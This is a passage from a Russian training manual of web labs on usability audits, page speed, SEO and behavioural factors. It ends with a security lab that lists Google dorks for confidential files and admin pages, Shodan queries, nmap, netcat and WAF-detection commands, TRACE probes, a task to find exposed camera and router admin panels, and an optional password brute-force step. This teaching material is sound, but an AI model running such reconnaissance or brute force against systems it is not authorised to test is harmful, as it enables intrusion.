Далее оцениваем весь первый экран (ту часть страницы, которую видит посетитель, пока не начал прокручивать вниз). Если сайт продает товар/услугу, то она должна присутствовать на первом экране. Задача первого экрана – показать, чем может быть полезен сайт посетителю. Для первого экрана также важно наличие основной контактной информации на видном месте. Необходимо обратить внимание на наличие периодически обновляемой информации, например, свежих проектов, статей или новостей. Такая информация покажет посетителям, что ваш сайт «жив».

➤ Подвал

Спустившись в самый низ страницы, оцените подвал сайта. Желательно, чтобы в подвале были ссылки на основные разделы сайта и была заметна оформленная контактная информация.

2. ОЦЕНКА ИНТЕРАКТИВНОСТИ.

Интерактивность составляют все элементы, с которыми может взаимодействовать посетитель сайта. Задача оценки интерактивности – понять, насколько наглядно представлены интерактивные элементы и насколько корректно они работают.

➤ Ссылки

Посмотрите на оформление ссылок на вашем сайте: понятно ли без наведения курсора, что на них можно нажать? Желательно, чтобы все ссылки были оформлены в одном стиле и были подчеркнуты, а названия начинались со значимых слов, которые ищет посетитель. Походите по этим ссылкам и проверьте, нет ли ведущих в никуда (на пустую страницу или на страницу 404 ошибки).

➤ **Просмотр картинок**

Далее проверьте картинки: понятно ли, что некоторые из них можно приблизить? При наличии фотогалереи для просмотра картинок ее вид и кнопки управления должны быть одинаковыми на всем сайте.

3. ОЦЕНКА НАВИГАЦИИ.

➤ **Глобальная навигация**

Проверьте, чтобы в глобальной навигации (чаще всего это верхнее меню в шапке сайта) был отражен верхний уровень иерархии сайта, а также что никакой раздел не упущен. В глобальной навигации обязательно должны присутствовать ссылки на служебные разделы, например: «О компании», «Контакты», «Помощь», «Карта сайта». Глобальная навигация должна присутствовать на каждой странице сайта, должна быть визуально выделена, и состав ее ссылок должен быть постоянным. Важно, чтобы в глобальной навигации и во всех боковых меню (если они есть) отражался активный раздел, в котором находится посетитель.

➤ **Заголовки**

Вверху каждой страницы сайта должен быть заметный заголовок. Это важно как для юзабилити, так и с точки зрения SEO.

➤ **Поиск по сайту**

Еще рекомендуем проверить поиск по сайту: окно поиска должно быть доступно на любой странице, а поиск должен выдавать качественные результаты даже при запросе из нескольких слов или с орфографической ошибкой.

4. ОЦЕНКА ДИЗАЙНА.

Дизайн – сущность очень субъективная, оценить его объективно бывает сложнее всего. Но есть несколько общих характеристик, оценить которые будет достаточно легко.

➤ **Цвет основных элементов**

Прежде всего оцените используемые основные цвета. Соответствуют ли они тематике сайта? У каждого цвета есть свой ассоциативный ряд, например: зеленый ассоциируется со здоровьем, красотой, гармонией, и вряд ли его стоит использовать на сайте похоронного агентства, разве только чтобы «выделиться» на фоне конкурентов.

Слишком много цветов на сайте не нужно, достаточно 2 основных: цвет фона и цвет основных элементов. Использование нескольких цветов допускается, если вы хотите, например, показать разницу между вашими тарифами или услугами, то есть сделать цветовое кодирование.

➤ **Контраст**

В дизайне следует избегать недостаточного контраста. Например, когда цвет объекта отличается от цветов фона лишь оттенком, но не насыщенностью или яркостью, объект становится трудно воспринимать. Проверьте, контрастны ли элементы на вашем сайте. Для этого можно использовать специальные онлайн-сервисы. Элементы на странице должны быть выровнены относительно друг друга и «по сетке».

Причем на типовых страницах компоновка элементов должна быть также типовой, а не различаться от страницы к странице. Выравнивание элементов важно в формах, так как без него глаз «скачет» и заполнять поля становится сложнее.

➤ **Визуальные образы**

Если на сайте есть визуальные образы (иконки, миниатюры, изображения и т. п.), оцените, насколько они соответствуют контексту, дополняют ли его. Неправильное использование визуальных образов может запутать посетителя.

На страницах должна быть четкая иерархия визуальных образов – важно нужно визуально выделять, чтобы оно сразу попадало в поле зрения. Оцените, сразу ли вы видите самое главное на всех страницах или где-то приходится долго искать.

5. ОЦЕНКА КОНТЕНТА.

Как правило, контент – это то, ради чего создается сайт. Задача оценки контента – проверить, насколько хорошо воспринимается ваш контент и насколько он интересен.

➤ **Тексты**

Тексты нужно проверять как с точки зрения визуального оформления, так и с точки зрения содержащегося в них смысла.

При проверке оформления смотрите, хорошо ли текст контрастирует с фоном. В общем случае нужно 80 % контраста. Проверить сайт можно с помощью онлайн-сервисов, но обычно плохой контраст видно и без них. Тексты должны быть оформлены шрифтом без засечек, размер шрифта от 14px. На сайте лучше не использовать более 2 шрифтов: один для основного текста и еще один для заголовков страниц.

Все тексты на сайте следует проверить на уникальность с помощью специальных онлайнсервисов. Неуникальные тексты нужно переписать, так как они плохо отражаются на позициях сайта. Да и клиенту неприятно читать тексты, которые он уже где-то видел. На сайте не должно быть необоснованно длинных текстов. Если они есть и без них никуда (какие-либо правила пользования вашими услугами), то они должны быть оформлены с выделением абзацев, подзаголовков, чтобы проще прочитывались.

Перечитайте хотя бы главные тексты, проверьте их на наличие грамматических, лексических, пунктуационных, речевых и прочих ошибок.

➤ **Картинки**

Все картинки на сайте должны быть хорошего качества, особенно если у вас интернетмагазин. Посмотрите, не портится ли фото ваших товаров при приближении, можно ли рассмотреть детали, есть ли фотографии товара в разных ракурсах

Уникальность картинок тоже стоит проверить. Можно посмотреть, какие картинки на сайте у ваших конкурентов. Лучше не брать картинки с бесплатных фотостоков, потому что они везде: на билбордах, на упаковках, на сайтах. Платными фотостоками пользуется гораздо меньше людей, а выбор фотографий огромен. Самое лучшее решение – делать фотографии своих сотрудников, своих товаров. Это самый дорогой вариант, но он дает гарантию уникальности ваших фотографий и автоматически повышает уровень доверия посетителей к сайту

6. ОЦЕНКА ФОРМ И ДИАЛОГОВ.

Задача оценки форм и диалогов – проверить корректность работы всех форм на сайте, найти ошибки в работе, неудобства при заполнении.

Попробуйте заполнить каждую из форм на своем сайте. Оцените, все ли поля вам понятны, нет ли лишних обязательных полей (например, обязательное поле email в форме для заказа Обратного звонка), информативны ли сообщения об ошибках, срабатывает ли кнопка отправки данных с формы, приходят ли сообщения с форм к вам на почту (или попадают в спам?).

Проверка корректности ввода информации в формы должна осуществляться без перезагрузки страницы. В случае если перезагрузка все-таки понадобилась, то вы не должны вводить информацию второй раз – данные должны сохраниться. В многостраничных формах должна быть возможность вернуться с сохранением данных.

7. ОЦЕНКА КОНВЕРСИИ.

Чтобы понимать, насколько эффективен сайт и какая у сайта конверсия, не обойтись без счетчика веб-аналитики. После установки счетчика необходимо обязательно настроить цели и периодически оценивать конверсию и основные показатели сайта. Многие владельцы об этом забывают. В процессе комплексного аудита очень помогают данные систем веб-аналитики: на их основе можно строить гипотезы о проблемах сайта, в том числе проблемах с юзабилити.

В состав комплексного аудита входит: SEO-аудит, аудит юзабилити, анализ веб-аналитики (в том числе конверсии), проверка и настройка целей. Провести поверхностный аудит может любой владелец сайта. В юзабилити-аудите оцениваются: Главная страница, интерактивные элементы, навигация, дизайн, контент, формы и диалоги.

Задание № 1. Провести аудит заданного сайта.

Задание № 2. Оформите отчет.

ТЕМА ЛАБОРАТОРНОЙ РАБОТЫ №2. Исследование способов ускорения загрузки сайтов

Формируемые умения: У2. Осуществлять оптимизацию веб-приложения с целью повышения его рейтинга в сети Интернет

Цель лабораторной работы. Научиться осуществлять оптимизацию веб-приложения с целью повышения его рейтинга в сети Интернет

Способы ускорения загрузки сайтов.

Время загрузки сайта – один из важнейших показателей, влияющий на поведение пользователей сайта.

Снижение скорости загрузки страницы на 1 секунду влечет за собой:

- уменьшение числа просмотров на 11 %;
- снижение показателя удовлетворенности пользователя на 16 %;
- уменьшение конверсии до 6 %.

Пара лишних секунд времени загрузки сайта уменьшают шансы заинтересовать посетителей и осуществить продажи. KISSmetrics провела исследование на тему того, как скорость загрузки сайта сказывается на поведении пользователей и покупателей:

- 47 % пользователей ожидают, что страница откроется меньше чем за 2 секунды;
- 40 % пользователей закрывают сайт, если он загружается дольше 3 секунд;
- 79 % покупателей, которые остались недовольными удобством сайта, скорее всего, не будут покупать через него в дальнейшем;
- 44 % интернет-покупателей расскажут своим знакомым о сайтах, которые их не удовлетворили.

Ускоренная загрузка сайта особенно важна для пользователей, заходящих на сайт с мобильных устройств. А так как сейчас доля мобильного трафика постоянно растет, то на ускорение на мобильном нужно сделать особый акцент. Рассмотрим способы ускорения загрузки сайта.

1. Сократить число HTTP запросов.

Согласно исследованиям компании Yahoo, большая часть времени при загрузке страницы тратится на загрузку изображений, файлов стилей и скриптов. Для загрузки каждого такого файла создается отдельный HTTP запрос. Чем больше таких запросов, тем больше времени проходит до момента полной загрузки страницы.

2. Объединить и минифицировать CSS и JS-файлы.

Самый простой способ сократить количество запросов – объединить и минифицировать (сжать) HTML, CSS и JavaScript файлы. Для этого открываем любой текстовый редактор, вставляем в него содержимое всех используемых css-файлов в том порядке, в котором они подключаются в шаблоне. Далее, воспользовавшись любым сервисом минификации (например, CSSminifier), сжимаем код. В результате у нас сокращается число запросов, а из финального кода удаляются незначимые для интерпретатора символы (пробелы, табы, переносы строк и т.п.).

3. Реализовать асинхронную загрузку CSS и JS.

CSS файлы загружаются в HTML посредством вставки тега. Однако не все куски кода настолько критичны, что их следует загружать сразу. Например, на сайте есть редко используемый компонент сравнения товаров. Имеет смысл подгружать стили и js-код для него непосредственно в тот момент, когда пользователи захотят воспользоваться таким функционалом.

4. Настроить отложенную загрузку javascript-кода.

В стандартном режиме javascript файлы прерывают парсинг HTML-документа до тех пор, пока все такие файлы не будут получены и выполнены. Часто требуется вставить какой-нибудь не особо значимый виджет социальных сетей в подвал сайта. Для нас неважно, появится ли он на странице сразу или спустя пару секунд. Чтобы реализовать отложенную загрузку, а точнее обработку такого скрипта, необходимо прописать атрибут defer тегу <script>.

5. Ускорить получение первых байтов (TTFB).

TTFB – первый байт, полученный от страницы. Время получения такого байта – один из фактором ранжирования страницы поисковиками, требующий к себе внимания.

6. Сократить время ответа сервера

Необходимо провести анализ всех запросов к базе данных. Найти и исправить ошибки. Оптимизировать код запросов к базе данных и избавиться или переписать плагины, написанные малоопытными разработчиками.

7. Выбрать оптимальные опции хостинга под запросы пользователей.

С ростом числа пользователей скорость работы сайта будет медленно падать. Поэтому очень важно правильно подобрать тип и опции хостинга. Для небольших сайтов компаний и визиток подойдет самый простой виртуальный хостинг (shared hosting). Для интернет-магазинов, порталов – VPS/VSD. Для сайтов с большой посещаемостью нужно смотреть в сторону выделенных физических сервером (Dedicated server).

8. Провести анализ сжатия страниц.

В протоколе HTTP, используемом в мировой паутине, предусмотрена возможность сжатия передаваемой информации для экономии трафика и увеличения скорости загрузки данных. Большинство современных браузеров поддерживает метод gzip. Проверить, включен ли у вас на сайте gzip, можно, воспользовавшись любым предложенным поисковиком сервисом по запросу “gzip test”.

9. Включить сжатие страниц.

Не всегда нужно при каждом открытии страницы генерировать тысячу запросов к базе данных. Достаточно сохранить эту информацию в статичном файле и настроить ее автоматическое обновление раз в год. Сделать эти настройки можно либо в настройках используемой вами CMS либо в файле .htaccess.

10. Сжать все изображения и видео.

Если на сайте располагает большое количество изображений и видео, имеет смысл сжать их. Сделать это можно либо в любом графическом редакторе, либо в онлайн-сервисах, которые в интернете в последнее время становится все больше.

11. Использовать CDN.

CDN (или Content Delivery Network) – это сеть доставки контента. Сайт размещается на серверах, находящихся в различных местах мира. В зависимости от того, где находится конечный пользователь, информацию он получает с того ли иного сервера – лучшего по комплексному показателю, в котором важную роль играет географическое положение. Использование возможностей CDN не сильно ударит по кошельку, но внесет весомый вклад в конечную цель. Тем более в рамках техподдержки мы подробно расскажем, как подключиться к сети максимально выгодно.

12. Использовать облачные сервисы.

Данный пункт касается видео и других больших по весу материалов на сайте. Чтобы не загружать лишний раз ваш сервер, такие документы желательно размещать в облачных сервисах.

13. Сократить число inline-стилей.

Вес страницы при использовании inline-стилей увеличивается, скорость обработки браузером уменьшается. Правильнее использовать css-классы.

14. Реализовать отложенную загрузку изображений, видео, iframe и контента.

Если на странице большое количество тяжелых элементов, то имеет смысл загружать их непосредственно перед моментом их использования. Сделать это нужно для изображений, видео, iframe, а иногда и для текста (например, в случае сайта онлайн-библиотеки).

15. Провести анализ кода и сократить число используемых плагинов.

Очень часто неопытные разработчики для реализации одной единственной всплывающей подсказки на сайте подгружают целый плагин, используя одну из сотен возможностей библиотеки, то есть стреляют из пушки по воробьям. А если этот плагин использует другие библиотеки (зависимости), то на сайте появляется огромная куча неиспользуемого кода. Стоит провести анализ кода сайта и уменьшить число редко используемых плагинов. Например, всплывающую подсказку можно реализовать, написав несколько строк на чисто Javascript либо вообще реализовав это средствами CSS.

16. Уменьшить число редиректов.

Без редиректов часто не обойтись. Например, если у нас изменился адрес страницы, прописывается 301 редирект, чтобы пользователи смогли открыть страницу по старой ссылке (в поисковиках ссылки обновляются не сразу). Однако каждый такой редирект прилично увеличивает время загрузки страницы. Если 1–2 редиректа еще позволительно, то большее число крайне негативно сказывается на скорости загрузки.

17. Сократить число внешних скриптов.

Добавление кнопки “Поделиться” и т.п. в различных соцсетях подключает внешние скрипты Вконтакте, Facebook, Instagram и т.д. Это дополнительные запросы к разным серверам. Необходимо как минимум реализовать их отложенную загрузку. Однако бывают ситуации, когда это невозможно. Например, многие используют внешние скрипты, которые добавляют на сайт новые шрифты (например, Google). Несмотря на то что сам Google предупреждает, насколько снижается скорость загрузки сайта, многие неопытные разработчики добавляют шрифты наобум, ради одного заголовка на какой-то редко посещаемой странице. Поэтому, где это возможно, старайтесь использовать локальные скрипты, а количество внешних сократите до минимума.

18. Провести аудит быстродействия мобильной версии сайта.

С помощью сервиса Google PageSpeed Insights можно провести онлайн-аудит как десктопной версии сайта, так и мобильной.

19. Постоянно следить за скоростью загрузки сайта.

Задание № 1. Проанализировать время загрузки предложенного сайта.

Задание № 2. Предложить и реализовать способы ускорения загрузки предложенного сайта.

Задание № 3. Оформить отчет.

ТЕМА ЛАБОРАТОРНОЙ РАБОТЫ №3. Проведение внутренней SEO оптимизация сайта

Объем часов 14

Формируемые умения: У2. Осуществлять оптимизацию веб-приложения с целью повышения его рейтинга в сети Интернет

Цель лабораторной работы. Научиться осуществлять оптимизацию веб-приложения с целью повышения его рейтинга в сети Интернет

Теоретические вопросы

Внутренняя SEO оптимизация сайта.

Внутренняя оптимизация сайта – действия, проводимые над сайтом с целью повысить позиции страниц в поисковых системах по заданному списку ключевых фраз. SEO-оптимизация сайта

1. Создайте корректный robots.txt.

Robots.txt – текстовый документ, расположенный в корневом каталоге сайта. В нем указаны инструкции о том, какие страницы разрешено индексировать поисковым системам, а какие нет. Наличие robots.txt не обязательно и его отсутствие означает разрешение индексировать сайт без ограничений. Корректный robots.txt поможет поисковым системам быстрее и полнее индексировать сайт.

2. Укажите правильный тег `<meta name="robots" content="...">`.

Мета-теги находятся в разделе `<head>` HTML-кода документа:

Мета-тег `<meta name="robots" content="...">` управляет индексацией страницы в поисковых системах.

Отсутствие этого мета-тега означает разрешение на индексирование документа. Специальные значения атрибута content позволяют:

- content="noindex" – запретить индексацию текста,
- content="nofollow" – запретить переход по ссылкам на странице.

3. Исключите появление дублей.

Дубли – одинаковые по содержанию документы, доступные по двум отличным URL-адресам. Такие страницы со стороны Яндекса и Google могут быть пессимизированы. Распространенная причина появления дублей – отсутствие явного указания на главное зеркало. Зеркалами считаются сайты, являющиеся полными копиями по контенту. Так, страницы интернет-ресурса могут быть доступны по адресу с www и без него, с слэшем "/" в конце или без него.

4. Прокачайте дизайн и юзабилити.

Поисковые системы придают большую важность поведенческим факторам, которые оцениваются показателями – отказы, время на сайте, глубина просмотра. Качество дизайна и

юзабилити сильно влияет на значения этих показателей. Дизайн должен быть визуально приятным, интуитивно понятным и удобным для посетителей.

5. Повысьте скорость загрузки.

Отличным показателем можно считать, если время загрузки не превышает 2 секунд, приемлемым – до 5 секунд. Если сайт загружается слишком медленно, скорее всего, следует выполнить эти действия:

- использовать высокоскоростной хостинг;
- выбрать оптимальные параметры изображений;
- оптимизировать код;
- минимизировать HTML, CSS, JS;
- подключить минимальное количество внешних файлов;
- включить сжатие данных на сервере.

6. Уделите внимание SMO.

Social Media Optimization (SMO) – оптимизация для социальных медиа, которая в целом заключается в повышении удобства использования сайта посетителями из социальных сетей. На практике это означает следующие действия:

- использование кнопок “поделиться”;
- внедрение микроразметки;
- указание ссылок на представительства в социальных сетях.

Смысл наличия кнопок “поделиться” в том, чтобы пользователю было легко поделиться понравившемся материалом на своей личной странице в социальной сети.

Социальные сети поддерживают протокол Open Graph. Микроразметка управляет заголовком, изображением, описанием и ссылкой, когда статью сайта размещают в социальной сети. Если вы имеете личные профили в социальных сетях или сообщества, то укажите их адреса на своем сайте.

7. Используйте инструменты поисковых систем.

Оптимизация страниц сайта

Целью SEO оптимизации страницы является максимальное повышение ее релевантности в поисковых системах по конкретным ключевым фразам.

1. Используйте ключевые фразы в <title>.

Отображается как заголовок вкладки браузера и может быть использован в результатах выдачи. При составлении заголовка следуйте этим рекомендациям:

- начинайте заголовок с основной ключевой фразы;
- не превышайте значение длины заголовка в 70-80 символов;
- используйте уникальные заголовки в пределах своего сайта;
- составляйте грамотный и осмысленный текст заголовка;
- не включайте в заголовок знаки завершения предложения – .!? Заменяйте их на : – и |

Содержимое этого тега не присутствует на странице.

На ранжирование мета-тег влияет слабо. Поисковые системы могут использовать содержание этого тега в сниппете на выдаче, что оказывает существенное влияние на кликабельность (CTR).

2. Подготовьте описания для description.

Мета-тег `<meta name="description" content="">` расположен в секции `<head>` HTML-кода документа.

3. Структурируйте содержимое.

Формат подачи информации влияет на удобство ее восприятия человеком. Поисковые системы умеют распознавать формат подачи информации, анализируя код верстки страницы. В HTML-коде существуют различные теги для верстки соответствующих блоков:

- абзацы `<p>`
- заголовки и подзаголовки `<h1>...<h6>`
- маркированные и нумерованные списки ``, ``
- таблицы `<table>`
- изображения ``

Старайтесь разнообразить верстку и уместно использовать подобные блоки.

4. Оптимизируйте текст.

При написании текста, в первую очередь, следует ориентироваться на людей и заботиться о смысловом наполнении, а уже потом оптимизировать его для поисковых систем. Делайте тексты интересными и легкими для чтения. При оптимизации текста учитывайте следующие рекомендации:

- используйте основную ключевую фразу в первых 2–3 абзацах;
- используйте иерархию заголовков и подзаголовков:
- основную ключевую фразу включите в главный заголовок `h1`;
- не создавайте более одного главного заголовка на странице;
- дополнительные ключевые фразы включайте в подзаголовки `h2...h6`;
- размещайте тексты уместного объема:
- коммерческие: 2000–3000 символов;
- информационные: от 5000 символов;
- равномерно распределяйте ключевые фразы по тексту, избегайте их скопления в одной части.

Кроме этого ваш текст должен быть уникальным и не содержать грамматических ошибок. Помните, что за частое включение ключевых фраз в текст, поисковые системы могут наложить санкции за переоптимизацию. Оптимальное количество вхождений в процентах от общего объема текста для каждого запроса свое. Узнать его ориентировочно можно проанализировав конкурентов в топ-5.

5. Оптимизируйте изображения.

Качественный текст часто сопровождается иллюстрациями, как, например, эта статья. Это нравится пользователям, но в этом также есть некоторые проблемы для SEO. Добавляя изображения на страницу, увеличивается ее общий вес и тем самым снижается скорость загрузки. Выбирайте корректный формат и размер изображения – от этого зависит размер файла. При выборе формата следуйте следующим простым правилам:

- если это анимация – .gif;
- если необходим прозрачный фон – .png;
- в остальных случаях – .jpg.

Выбор размера: в общем случае вес изображения тем больше, чем больше ее размер. Если в статье размещается картинка размером 400×200 пикселей, то не нужно для этих целей использовать оригинал в размере 1600×800 и сжимать его в браузере до 400×200.

В таком случае в графическом редакторе следует изменить размер до необходимого 400×200.

Изображения на страницу добавляются с помощью тега , который имеет актуальные для SEO атрибуты:

- src – включает название файла;
- alt – описание, которое появляется при невозможности загрузить картинку;
- title – всплывающая подсказка, появляющаяся при наведении.

При выборе названия файла с изображением отдавайте предпочтение лаконичному варианту описывающему суть файла. В атрибуте alt включите краткое описание до 10 слов того, что именно показано на картинке.

6. Используйте внутреннюю перелинковку.

Внутренняя перелинковка – это ссылки между внутренними страницами. На крупных сайтах основной эффект от перелинковки заключается в перераспределении веса страниц в пользу наиболее важных. Это позволяет им несколько лучше ранжироваться. На небольших площадках такой эффект малозаметен, но в этом случае перелинковка тоже играет важную роль. При уместном использовании ссылок внутри статей пользователь будет переходить по ним и проводить больше времени на ресурсе, улучшая поведенческие факторы. Распространенные виды перелинковки – рекомендательные блоки и контекстные ссылки.

7. Грамотно применяйте исходящие ссылки.

Существует мнение, что нежелательно ставить исходящие ссылки на внешние ресурсы. В среде оптимизаторов есть различные аргументы за и против. Исходящие ссылки на авторитетные тематические площадки помогают в продвижении. Такие ссылки позволяют поисковикам правильно определить тематику ссылающегося сайта. Кроме этого такие ссылки прибавляют авторитетность и вашему ресурсу. Исходящие ссылки на спамные ресурсы следует избегать или использовать для них атрибут rel="nofollow". Такие ссылки могут появляться, например, в комментариях. Включайте в статьи исходящие ссылки на авторитетные тематические площадки.

Задание № 1. Проведите SEO-оптимизацию предложенного сайта.

Задание № 2. Оформите отчет.

ТЕМА ЛАБОРАТОРНОЙ РАБОТЫ №4. Техническая оптимизация, дополнительные настройки

Объем часов 14

Формируемые умения: У2. Осуществлять оптимизацию веб-приложения с целью повышения его рейтинга в сети Интернет

Цель лабораторной работы. Научиться осуществлять оптимизацию веб-приложения с целью повышения его рейтинга в сети Интернет

Теоретические вопросы

Техническая оптимизация сайтов.

Технические характеристики сайта:

- файл Robots.txt (присутствует ли этот файл);
- наличие ошибки «Googlebot не может получить доступ к файлам CSS и JS на сайте»;
- скорость загрузки страниц;
- оптимизация под мобильные устройства;
- валидность HTML-кода;
- битые ссылки (наличие битых ссылок негативно сказывается на продвижении);
- дублированный контент.

Задание № 1. Проведите техническую оптимизацию предложенного сайта.

Задание № 2. Оформите отчет.

ТЕМА ЛАБОРАТОРНОЙ РАБОТЫ №5. Улучшение поведенческих факторов

Объем часов 14

Формируемые умения: У2. Осуществлять оптимизацию веб-приложения с целью повышения его рейтинга в сети Интернет

Цель лабораторной работы. Научиться осуществлять оптимизацию веб-приложения с целью повышения его рейтинга в сети Интернет

Теоретические вопросы

Улучшение поведенческих факторов

Поведенческие факторы – показатели, характеризующие поведение людей на вашем сайте. ПФ учитываются поисковыми системами и влияют на ранжирование сайта. Существует огромное количество факторов. Как правило они делятся на внешние и внутренние. Чтобы не пытаться охватить необъятное, сосредоточимся сегодня на базовых внутренних факторах: отказы, время на сайте, глубина просмотра, возвраты. На эти факторы вы можете повлиять, работая над своим сайтом. Вот несколько способов, которые помогут улучшить эти показатели.

1. Ответьте на вопрос: о чем сайт?

Посетитель должен быстро понять тематику сайта, его предназначение. Очень хорошо с этой задачей справляются:

- логотип и слоган, расположенные в шапке сайта;
- заголовок главной страницы;
- общий дизайн и оформление сайта.

Визуально сайт должен соответствовать своей тематике, а тексты раскрывать его сущность. Такая информация поможет человеку понять, что сайт отвечает его запросу, побудит его уделить вашему ресурсу больше внимания. Как следствие, показатель отказов должен снизиться.

2. Разместите витрину на главной странице.

Эта рекомендация подходит интернет-магазинам и сайтам с каталогом товаров. Не заставляйте человека искать то, ради чего он пришел на сайт. Правильно сформированная витрина заинтересует посетителя и заставит остаться на сайте.

3. Решите конкретную задачу посетителя.

Добавьте на главную страницу блок, посвященный решению одной-единственной проблемы. Хорошими примерами могут служить калькулятор расчета стоимости (заказ кухонь) и специализированная форма поиска (автомобильные запчасти). Такой способ – это возможность одновременно и удержать посетителя на сайте, и выделиться среди конкурентов. Подумайте, есть ли у целевого посетителя конкретная насущная проблема, и попробуйте решить ее.

4. Обеспечьте качественную навигацию.

Проследите, чтобы все стандартные средства навигации корректно работали и были расположены на каждой странице сайта. К стандартным средствам относятся:

- главное меню;
- выделение активного пункта меню;
- название страницы (заголовки);
- навигационная цепочка (хлебные крошки).

5. Добавьте интерактив.

Самые очевидные решения:

- система отзывов;
- голосования;
- онлайн-консультант;
- чат.

Каждый способ предназначен для решения собственных задач, которые, в свою очередь, зависят от тематики сайта. Оцените реальную пользу для ваших посетителей и не добавляйте на сайт лишние функции.

6. Публикуйте тематические статьи.

Раздел со статьями может стать сердцем сайта. Со стороны посетителей этот раздел сайта решает несколько задач:

- лучше раскрывает суть вашего товара/услуги для посетителей;
- показывает, что сайт поддерживается в актуальном состоянии.
- демонстрирует ваш профессионализм.

7. Свяжите материалы сайта ссылками.

Перелинковка – ссылки внутри страниц текста, которые ведут на другие страницы вашего сайта. Также ссылки могут размещаться списком после текста и раскрывать связанные темы. В случае с перелинковкой посетитель может заинтересоваться и перейти на другие страницы вашего сайта, чтобы лучше разобраться в вопросе. Легко и органично этот способ сочетается с тематическими статьями.

8. Иницируйте возвращение посетителей.

Не всегда получается сделать посетителя клиентом с первого раза. Вот несколько способов вернуть посетителя:

- Функция «Сообщить о поступлении». Если товар в будущем появится в магазине, то человек сможет вернуться за покупкой.
- Подписка на рассылку. Вы можете сообщать человеку, например, о публикации новых статей.
- Сами по себе интересные материалы, статьи могут побудить человека сохранить страницу в закладках и вернуться на нее в будущем.

9. Технические тонкости.

Открывайте внешние ссылки в новых вкладках. В этом случае человек не потеряет ваш сайт из виду и сможет вернуться к тому месту, на котором закончил работу с сайтом. Обеспечьте приемлемую скорость загрузки страниц. Никому не хочется работать с «тормозящим» сайтом. С момента перехода по ссылке до момента отображения самых важных элементов страницы (первого экрана) должно проходить не больше 1–2 секунд. Оформите страницу с ошибкой 404. На такие страницы посетители могут попадать, если вы удаляли страницы на сайте. Хорошо оформленная страница 404 позволит человеку вернуться к нормальному режиму работы.

Задание № 1. Проанализируйте поведенческие факторы предложенного сайта.

Задание № 2. Оформите отчет.

МДК 09.03. Обеспечение безопасности веб-приложений

Тема лабораторной работы №1. Сбор информации о web-приложении

Объем часов 8

Формируемые умения: У2. Осуществлять оптимизацию веб-приложения с целью повышения его рейтинга в сети Интернет

Цель лабораторной работы. Научиться осуществлять оптимизацию веб-приложения с целью повышения его рейтинга в сети Интернет

Задание № 1. Выполнить сбор информации об анализируемом веб-приложении.

Пример сбора информации об анализируемом (условном) веб-приложении www.test.app.com/robots.txt. Последовательность действий.

Шаг 1. В адресной строке браузера перейти по адресу www.test.app.com/robots.txt.

Проанализировать содержимое файла. Сделать выводы о наличии «скрытых» директорий.

Шаг 2. В адресной строке браузера перейти по адресу <http://www.test.app.com/crossdomain.xml> и, затем, по адресу <http://www.test.app.com/clientaccesspolicy.xml>. Проанализировать содержимое файлов. Сделать выводы о корректности конфигурации политики междоменного взаимодействия.

Шаг 3. Перейти по адресу <http://www.google.com>. Задать поисковые запросы, определяемые анализируемым приложением, например:

- site:www.test.app.com filetype:docx confidential;
- site:www.test.app.com filetype:doc secret;
- site:www.test.app.com inurl:admin;
- site:www.test.app.com filetype:sql;
- site:www.test.app.com intext: "Access denied".

Проанализировать логику запросов и полученные данные. Построить свои запросы, используя примеры из базы запросов.

Шаг 4. Перейти по адресу <http://www.shodanhq.com>. Задать следующий поисковый запрос: `hostname:www.test.app.com`

Построить свои запросы для приложения `www.test.app.com`.

Шаг 5. Данный тест выполняется только для приложений, размещенных в лабораторной сети.

С помощью сетевых сканеров Nmap и Xprobe выполнить идентификацию ОС веб-сервера:

```
# nmap -O www.test.app.com -vv
```

```
# xprobe2 www.test.app.com
```

Шаг 6. Подключиться к веб-серверу, используя утилиту Netcat:

```
# nc www.test.app.com 80
```

Отправить следующий GET запрос

```
GET / HTTP/1.1
```

```
Host: www.test.app.com
```

```
\r\n
```

По заголовкам Server и X-Powered-By определить программное обеспечение, реализующее веб-сервер и фреймворк веб-приложения. В браузере установить расширение Wappalyzer, перейти по адресу веб-приложения и проанализировать информацию о компонентах веб-приложения полученное через Wappalyzer.

Шаг 7. С помощью сканера веб-серверов Httprint (дистрибутив Backtrack) или Httprecon (ОС Windows) выполнить идентификацию веб-сервера:

```
# cd /pentest/enumeration/web/httprint/linux
```

```
# ./httprint -h www.test.app.com -s signatures.txt
```

С помощью сканера Wafw00f проверить наличие у вебприложения подсистемы WAF:

```
# cd /pentest/web/waffit
```

```
# python ./wafw00f.py http://www.test.app.com
```

```
# python ./wafw00f.py https://www.test.app.com
```

Шаг 8. Выполнить тесты по идентификации поддерживаемых веб-сервером HTTP-методов.

Для этого необходимо отправить с помощью Burp Suite или Netcat запрос следующего вида:

```
OPTIONS / HTTP/1.1
```

```
Host: www.test.app.com
```

```
\r\n
```

Проверить, поддерживает ли сервер обработку запросов с произвольными методами:

```
DOGS / HTTP/1.1
```

```
Host: www.test.app.com
```

\r\n

Если веб-сервер поддерживает метод TRACE, то это может привести к уязвимости к атаке Cross-Site Tracing (XST). Для проверки поддержки веб-сервером метода TRACE отправить запрос

TRACE / HTTP/1.1

Host: www.test.app.com

\r\n

Веб-сервер поддерживает метод TRACE и потенциально уязвим к атаке XST, если получен ответа вида

HTTP/1.1 200 OK

Connection: close

Content-Length: 39

TRACE / HTTP/1.1

Host: www.test.app.com

Задание № 2. Найти административные интерфейсы коммуникационного и сетевого оборудования (видеокамеры, коммутаторы ЛВС, домашние Wi-Fi маршрутизаторы, и т.д.), подключенные к сети Интернет.

Задание № 3. Оформить отчет.

Тема лабораторной работы №2. Тестирование защищенности механизма управления доступом и сессиями

Объем часов 8

Формируемые умения: У2. Осуществлять оптимизацию веб-приложения с целью повышения его рейтинга в сети Интернет

Цель лабораторной работы. Научиться осуществлять оптимизацию веб-приложения с целью повышения его рейтинга в сети Интернет

Задание № 1. Выполнить тестирование защищенности механизма управления доступом исследуемого веб-приложения.

Последовательность действий

Шаг 1. Настроить работу браузера через штатный прокси-сервер Burp Suite. В веб-браузере открыть главную страницу тестируемого веб-приложения www.test.app.com.

Шаг 2. Зарегистрироваться в веб-приложении. Получить идентификатор учетной записи и пароль доступа к веб-приложению. Проанализировать предсказуемость идентификаторов пользователей и, если это возможно, алгоритм назначения идентификаторов. Проанализировать реализованную в веб-приложении парольную политику. Оценить доступную сложность выбора паролей пользователями. Опционально выполнить атаку полного перебора паролей.

Шаг 3. Перейти по ссылке для аутентификации в приложении. При этом необходимо убедиться, что форма аутентификации доступна только по протоколу HTTPS. Убедиться, что вводимые пользователем логин и пароль отправляются в зашифрованном виде по протоколу

HTTPS. Убедиться, что логин и пароль не отправляются с помощью HTTP-метода GET.

